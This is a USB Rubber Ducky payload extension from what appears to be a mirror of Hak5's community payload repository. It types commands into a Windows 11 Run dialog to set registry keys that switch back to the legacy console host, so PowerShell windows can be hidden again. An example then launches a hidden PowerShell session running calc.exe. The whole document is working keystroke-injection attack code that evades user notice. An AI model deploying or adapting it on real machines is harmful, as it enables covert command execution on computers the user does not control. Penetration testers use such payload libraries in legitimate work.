Book a Demo!
CoCalc Logo Icon
StoreFeaturesDocsShareSupportNewsAboutPoliciesSign UpSign In
hak5
GitHub Repository: hak5/usbrubberducky-payloads
Path: blob/master/payloads/extensions/community/WINDOWS11_CONSOLE_DOWNGRADE
2968 views
EXTENSION WINDOWS11_CONSOLE_DOWNGRADE
    REM_BLOCK
        Version: 1.0
        Author: 0i41E
        Description: Downgrade the default command prompt of Windows 11 to use Conhost again. 
        Afterwards PowerShell can be used with paramters like "-WindowStyle Hidden" again.
    END_REM

    REM CONFIGURATION:
    REM Used to wait until initial execution
    DEFINE #INPUT_WAIT 2000
    REM GUID for using the legacy console host for terminal execution
    DEFINE #CONHOST B23D10C0-E52E-411E-9D5B-C09FDF709C7D
 
    FUNCTION Console_Downgrade()
        DELAY #INPUT_WAIT  
        GUI r
        DELAY 500
        STRINGLN powershell -NoP -NonI
        DELAY 1000
        STRING Set-ItemProperty -Path "HKCU:\Console\%%Startup" -Name DelegationConsole -Value "{#CONHOST}";
        STRINGLN Set-ItemProperty -Path "HKCU:\Console\%%Startup" -Name DelegationTerminal -Value "{#CONHOST}";exit
    END_FUNCTION

    REM_BLOCK
        EXAMPLE USAGE AFTER EXTENSION: Downgrade the command prompt via registry, then open a hidden PS instance and execute Calc.exe.
        Console_Downgrade()
        DELAY 2000
        GUI r
        DELAY 2000
        STRINGLN powershell -w h
        DELAY 1500
        STRINGLN calc.exe;exit
    END_REM
END_EXTENSION